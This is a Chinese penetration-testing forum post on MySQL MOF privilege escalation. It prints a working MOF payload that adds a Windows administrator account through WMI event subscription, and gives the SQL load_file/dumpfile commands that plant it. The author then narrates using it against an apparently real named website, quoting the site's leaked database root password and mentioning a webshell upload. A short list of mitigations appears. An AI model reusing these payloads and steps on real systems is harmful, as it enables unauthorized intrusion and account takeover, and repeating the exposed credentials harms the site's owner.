中国网络渗透测试联盟
标题:
Mysql mof扩展漏洞实例与防范
[打印本页]
作者:
admin
时间:
2013-1-4 19:49
标题:
Mysql mof扩展漏洞实例与防范
Mysql mof扩展漏洞防范方法
5 |% A1 `: e5 a/ @6 z3 }* T
% { H! x, Z* u6 k9 I
网上公开的一些利用代码:
/ g" J/ G4 I1 U3 p2 M
& K1 c4 c- M; O" Q, M: u/ g$ U
#pragma namespace(“\\\\.\\root\\subscription”)
& l# t j* I8 a! Y4 E; f
: T* a8 G" a- w- @6 z
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
. z& T- i. ~+ g/ Z
5 v+ Y5 O+ X- b
" d3 a% e1 G2 S e/ N$ d+ n
- q$ \; F3 {9 Q+ N
/ C4 B/ m( ? `: r7 F
& R) ~ ?3 v; ~7 a$ ?9 D
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
8 \' I0 A q9 ]( I; o$ h2 j6 g
从上面代码来看得出解决办法:
7 U# R' q1 \0 F; v9 `
2 U$ C- M2 ~& t3 N# ~1 w* _
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
7 U _2 M6 T! P' o" v! w
: ~& q3 L% d' _& B
2、禁止使用”WScript.Shel”组件
" ~7 k' w/ t- V3 w& ?! v
& B- O8 P; p9 k4 L& F+ g7 D
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
# n% Z& U( Z- O( H- W" n3 Z
8 O% ~1 q* G& K" m( H+ `& w
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
9 z1 B( D- A$ W1 q- n' ~
# L' c' ^1 C4 l' i4 n) }
事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
& Q5 g6 f# D0 ?: s: O
$ v4 i# t- Z- O: Q- o
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
4 v. O) ], J; { x
) Q) [" H3 ]7 E( q6 a
看懂了后就开始练手吧
% g# J( w' M& `( W# E/ O7 E
7 n$ F9 c1 G* \% U4 T- v# u
http://www.webbmw.com/config/config_ucenter.php
一句话 a
: C6 ?: \0 D* i$ Y+ {, ?0 V! |
* X. P3 [! o" N# c
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
( G0 B0 ?2 S9 ]- L
/ Y: y! ]6 e: a" V$ M
于是直接用菜刀开搞
1 Q- Z& V u6 d% [
5 s5 E1 e( d& @5 Q# A
上马先
8 T( w- L3 B9 R1 W
. m! h* S: ^0 B# G
既然有了那些账号 之类的 于是我们就执行吧…….
! b2 o6 n6 t# l! x% \% k! z
; s! @* r/ G) q. b9 h
小小的说下
# N! t1 I. _3 m/ t+ D
# O) i' P* R, O% ]; m/ h* J5 s* p
在这里第1次执行未成功 原因未知
U% y/ B; A/ e' f# j4 R# Z
% C) v1 L7 I3 w c
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
- w s7 f/ n7 Q
( n0 `+ `, o; T }
#pragma namespace(“\\\\.\\root\\subscription”)
. J7 g' r, |* a
' \; l; j7 k( q" u- p- Z9 B
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
* w0 A" t7 `' Q2 s
: D4 @2 l9 X$ p4 O( \: m2 |! k. _
我是将文件放到C:\WINDOWS\temp\1.mof
) n2 B0 C; {/ y5 m% \' O
2 U; T+ ?) Q( z/ _9 L7 h/ v$ r+ v
所以我们就改下执行的代码
( |) [/ X# D) x3 B7 H; G4 |
, U7 H1 U% L/ p% J2 T) K5 G6 u
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
9 Z ?0 H5 }# s9 H
/ U/ }: }' N% e) X
, ?$ I: o4 C# U! m. p) I, q g
6 \4 S! A, g; v5 X9 \. ?
但是 你会发现账号还是没有躺在那里。。
! l; k1 w7 b+ D9 u3 K
* Y" O5 X4 v2 w: a: `0 C" z0 k
于是我就感觉蛋疼
( ^9 ]& z; G! ` S
( Z0 G5 B8 p+ w- _2 L5 n
就去一个一个去执行 但是执行到第2个 mysql时就成功了………
( m! q( K* O6 e# A) Y
0 D" I) G& N8 x# {4 J
2 m7 B. B' E7 c7 S
* L8 `4 o! H$ }# E( _
但是其他库均不成功…
; |* c' j' T! k9 { _! q/ X/ h
0 J n1 F# E" X# F
我就很费解呀 到底为什么不成功求大牛解答…
) d0 `* {* c; a
! n* k* r7 P I J U {7 q
, R9 D* h. |7 O. J* Y8 I
% ~6 f7 W1 v0 S% k& r5 I- O) u2 d( G
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2